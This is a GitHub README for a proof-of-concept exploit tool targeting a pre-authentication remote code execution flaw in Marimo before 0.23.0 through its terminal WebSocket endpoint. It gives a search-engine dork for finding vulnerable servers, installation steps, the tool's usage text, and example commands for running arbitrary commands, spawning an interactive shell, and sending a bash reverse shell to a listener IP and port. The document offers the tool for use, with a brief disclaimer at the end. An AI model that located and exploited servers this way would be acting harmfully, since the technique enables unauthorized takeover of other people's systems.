m3ph1569/cve-2026-39987-pocCVE-2026-39987 Exploitation Tool - Marimo < 0.23.0 Pre-Auth RCE (WebSocket)
Proof of Concept (PoC) exploit for a Critical Pre-Authentication Remote Code Execution (RCE) vulnerability in Marimo versions prior to 0.23.0.
The vulnerability allows an unauthenticated attacker to connect to the WebSocket endpoint (/terminal/ws) and execute arbitrary system commands on the target server.
/api/version endpoints).--no-check flag for environments where endpoints might be obscured.You can use the following dork to identify potentially vulnerable instances:
http.favicon.hash:-1864630356
It is recommended to use a Python virtual environment to install the dependencies.
# 1. Clone the repository
git clone https://github.com/M3PH1569/CVE-2026-39987-POC.git
cd CVE-2026-39987-POC
# 2. Create and activate a virtual environment
python -m venv .CVE-2026-39987
# Windows
.CVE-2026-39987\Scripts\activate
# Linux/macOS
source .CVE-2026-39987/bin/activate
# 3. Upgrade pip and Install required dependencies
# Windows
py pip install --upgrade pip ; pip install -r requirements.txt
# Linux/MacOS
python3 pip install --upgrade pip && pip install -r requirements.txt
usage: CVE-2026-39987.py [-h] [-i] [--revshell IP PORT] [--ping-interval SEC] [--ping-timeout SEC] [--no-ping] [--max-retries N] [--no-reconnect] [--no-check] target [command]
positional arguments:
target Target URL (e.g. http://localhost:8080)
command Command to execute (omit when using -i)
options:
-h, --help show this help message and exit
--no-check Skip vulnerability version check
Execution modes:
-i, --interactive Interactive shell mode
--revshell IP PORT Generate & send a bash reverse shell payload
WebSocket tuning:
--ping-interval SEC WebSocket ping interval in seconds (default: 30, more frequent for stability)
--ping-timeout SEC WebSocket ping timeout in seconds (default: 300, increased from 120 for slow servers)
--no-ping Disable WebSocket ping/pong entirely (recommended if still disconnect)
Reconnect options:
--max-retries N Max auto-reconnect attempts (default: 5)
--no-reconnect Disable auto-reconnect on unexpected disconnect
1. Run a single command:
python CVE-2026-39987.py http://target.com:8080 "id"
2. Spawn an interactive shell:
python CVE-2026-39987.py http://target.com:8080 -i
3. Execute a reverse shell:
Ensure you have a netcat listener running on your machine (e.g., nc -lvnp 4444).
python CVE-2026-39987.py http://target.com:8080 --revshell 10.0.0.1 4444
4. Skip verification checks and force execution:
python CVE-2026-39987.py http://target.com:8080 "whoami" --no-check
Contributions are welcome! Please feel free to submit a Pull Request.
git checkout -b feature/update-feature)git commit -m 'Add update feature')git push origin feature/update-feature)This tool is strictly for educational purposes and authorized ethical hacking. The author is not responsible for any misuse, damage, or illegal activities caused by this script. Always ensure you have explicit permission from the system owner before performing any security testing. Unauthorized use of this script is illegal and punishable by law.
This project is licensed under the MIT License - see the LICENSE file for details.